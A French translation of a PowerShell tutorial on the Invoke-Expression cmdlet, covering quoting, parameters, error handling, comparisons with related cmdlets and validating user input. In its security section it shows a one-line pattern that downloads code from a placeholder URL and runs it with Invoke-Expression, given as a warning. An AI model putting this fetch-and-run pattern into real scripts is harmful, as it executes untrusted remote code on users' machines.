Invoke-Expression : Avantages, Inconvénients et Meilleures Pratiques

La cmdlet PowerShell Invoke-Expression peut être facilement mal comprise quant à son utilisation appropriée. Dans cet article, j’ai regroupé plusieurs questions fréquemment posées. Je vais les décortiquer et inclure de nombreux exemples utiles que vous pourrez consulter chaque fois que vous en aurez besoin. Cela signifie que vous devriez mettre cette page en favori dès maintenant !

Vous voulez plus de conseils comme celui-ci ? Consultez mon blog personnel sur PowerShell à l’adresse : https://www.nkasco.com/

Qu’est-ce que Invoke-Expression ?

La description officielle, selon Microsoft, est la suivante : « La cmdlet Invoke-Expression évalue ou exécute une chaîne spécifiée en tant que commande et renvoie les résultats de l’expression ou de la commande. Sans Invoke-Expression, une chaîne soumise à la ligne de commande serait renvoyée (écho) sans modification. »

En d’autres termes, elle peut être utile pour appeler du code dans un script ou pour construire des commandes à exécuter ultérieurement. Elle peut également être utilisée avec prudence en combinaison avec des entrées fournies par l’utilisateur.

L’exemple le plus basique d’utilisation de Invoke-Expression consiste à définir un script et à passer cette chaîne au paramètre Command. Invoke-Expression exécute ensuite cette chaîne.

#Exécuter une commande PowerShell via Invoke-Expression
$Command = 'Get-Process'
Invoke-Expression -Command $Command

#Exécuter un script via Invoke-Expression
$MyScript = '.\MyScript.ps1'
Invoke-Expression -Command $MyScript

Que faire si j’ai des espaces dans le chemin de mon script?

Assurez-vous d’encadrer les chaînes de caractères avec des guillemets simples ou doubles.

Par exemple, si vous souhaitez exécuter une chaîne avec un espace dans le chemin, ces options ne fonctionneront pas:

# Ces options ne fonctionnent pas
$MyScript = "C:\Folder Path\MyScript.ps1"
#ou
$MyScript = "'C:\Folder Path\MyScript.ps1'"
Invoke-Expression $MyScript

Pourquoi? Parce que c’est exactement la même chose que de taper directement ceci dans la console PowerShell:

PS51> C:\Folder Path\MyScript.ps1

Cependant, si vous encadrez l’élément du chemin entre guillemets simples ou doubles avec toute la chaîne entre guillemets, Invoke-Expression exécutera le script comme prévu.

$MyScript = "C:\'Folder Path'\MyScript.ps1"
Invoke-Expression $MyScript

Q. How do you pass parameters to scripts invoked with Invoke-Expression?

Le seul paramètre que Invoke-Expression possède est Command. Il n’y a pas de moyen natif de passer des paramètres avec Invoke-Expression. Cependant, vous pouvez les inclure dans la chaîne que vous transmettez au paramètre Command.

Peut-être avez-vous un script avec deux paramètres appelés Chemin et Force. Au lieu d’utiliser un paramètre spécifique via Invoke-Expression, vous pouvez passer des paramètres à ce script en les passant comme vous le feriez normalement via la console.

Si vous appelez généralement ce script de cette manière via la console:

PS51> & 'C:\Scripts\MyScript.ps1' -Path 'C:\file.txt' -Force

Vous devez inclure toute cette ligne dans une chaîne et ensuite transmettre cette chaîne au paramètre Command.

$scriptPath = 'C:\Scripts\MyScript.ps1'
$params = '-Path "C:\file.txt" -Force'
Invoke-Expression "$scriptPath $params"
# ou
$string = 'C:\Scripts\MyScript.ps1 -Path "C:\file.txt" -Force'
Invoke-Expression $string

Le bloc try/catch a-t-il du sens avec Invoke-Expression?

Pas vraiment. Cela signifie que vous devez utiliser la gestion des erreurs dans votre paramètre Command.

Exemple:

# Ne fonctionne pas - Invoke-Expression ne fonctionne pas comme gestionnaire d'erreurs global!
try{
    $Command = 'Get-Process powerhell'
    Invoke-Expression $Command -ErrorAction Stop
} catch {
    Write-Host "Oops, something went wrong!"
}

Quelle est la différence entre Invoke-Expression et l’opérateur d’appel (&)?

L’opérateur d’appel (&) est excellent pour exécuter rapidement une commande, un script ou un bloc de script. Cependant, l’opérateur d’appel ne parse pas la commande. Il ne peut pas interpréter les paramètres de commande comme le fait Invoke-Expression.

Par exemple, peut-être que je voudrais obtenir le processus PowerShell Core en utilisant la cmdlet Get-Process avec le code Get-Process -ProcessName pwsh. Concaténer Get-Process et le paramètre ne fonctionnera pas comme prévu avec l’opérateur d’appel.

$a = "Get-Process"

## Ne fonctionne pas
& "$a pwsh"

Mais si vous exécutez cette chaîne avec Invoke-Expression, cela fonctionnera comme prévu.

Invoke-Expression "$a pwsh"

Quelle est la différence entre Invoke-Expression et Start-Process?

La cmdlet Start-Process fournit un code de retour ou de sortie dans l’objet retourné. Elle vous permet d’attendre que le processus appelé se termine et vous permet de lancer un processus sous un autre nom d’utilisateur Windows. Invoke-Expression est rapide et simple tandis que Start-Process peut être plus utile pour interpréter les résultats du processus exécuté.

Quelle est la différence entre Invoke-Expression et Invoke-Command?

Invoke-Expression ne « convertit » qu’une chaîne en code exécutable. Invoke-Command, en revanche, utilise PowerShell Remoting vous permettant d’inviter du code localement ou à distance sur des ordinateurs.

Invoke-Command est préférable si vous écrivez les commandes exécutées maintenant, car vous conservez l’intellisense dans votre IDE tandis que Invoke-Expression serait préférable si vous vouliez appeler un autre script depuis celui en cours.

Exemple :

# Ces deux fonctionnent de la même manière, mais nous avons perdu notre intellisense avec l'exemple d'Invoke-Expression.
Invoke-Command -ScriptBlock {
    Get-Process Chrome
    Get-Process Powershell
}

Invoke-Expression -Command "
Get-Process Chrome
Get-Process Powershell
"

Quelle est la différence entre Invoke-Expression et Invoke-Item?

Le cmdlet Invoke-Item vous donne un support en ligne pour plusieurs chemins afin d’ouvrir des documents avec leur action par défaut, avec des paramètres pour inclure, exclure, ajouter des informations d’identification, et même une confirmation pour une sécurité supplémentaire.

Est-ce que Invoke-Expression est sécurisé?

A. If someone had malicious intent they might be able to trick some virus programs by masking malicious code that constructs itself during runtime. Invoke-Expression will happily execute whatever text is passed to it’s Command parameter.

Exemple :

$Command = "(Invoke-Webrequest -Uri `"http://website.com/CompletelySafeCode`").Content"
Invoke-Expression $Command

Quelles sont certaines bonnes pratiques pour exécuter plusieurs commandes/expressions?

Si vous avez plusieurs commandes à exécuter, même si Invoke-Expression n’accepte qu’une chaîne plutôt qu’un tableau, nous pouvons utiliser le pipeline PowerShell pour envoyer des objets un par un dans le pipeline.

Exemple :

# Ne fonctionne pas
$MyCollection = @(
    'Get-Process Chrome',
    'Get-Service bits'
)
Invoke-Expression $MyCollection

# Fonctionne
'Get-Process Chrome', 'Get-Service bits' | Invoke-Expression

Comment utiliser Invoke-Expression avec une saisie utilisateur ?

Vous devez être très prudent lors de l’utilisation de Invoke-Expression avec une saisie utilisateur. Si vous autorisez une invite à l’utilisateur de manière à lui donner accès en dehors de la commande que vous avez l’intention d’exécuter, cela pourrait créer une vulnérabilité non souhaitée. Voici une façon dont vous pouvez mettre en œuvre en toute sécurité une saisie utilisateur avec Invoke-Expression.

do{
    $Response = Read-Host "Please enter a process name"
    $RunningProcesses = Get-Process

    # Validez la saisie de l'utilisateur ici avant de procéder
    if($Response -notin $RunningProcesses.Name){
        Write-Host "That process wasn't found, please try again.`n" # Évitez d'utiliser $Response ici
    }
} until ($Response -in $RunningProcesses.Name)

$Command = "Get-Process $Response"
Invoke-Expression $Command

Conclusion

Chaque cmdlet a sa place et Invoke-Expression en est un que presque tout le monde rencontrera à un moment donné. Il est important de comprendre les avantages et les inconvénients des cmdlets fréquemment utilisés afin de les mettre en œuvre de manière à vous assurer le succès. Je suis curieux d’entendre comment vous avez utilisé Invoke-Expression pour résoudre certains de vos propres défis, laissez un commentaire ci-dessous et partagez votre histoire !

Vous voulez plus de conseils comme celui-ci ? Consultez mon blog personnel PowerShell sur : https://www.nkasco.com/

Lecture supplémentaire

Source:
https://adamtheautomator.com/invoke-expression/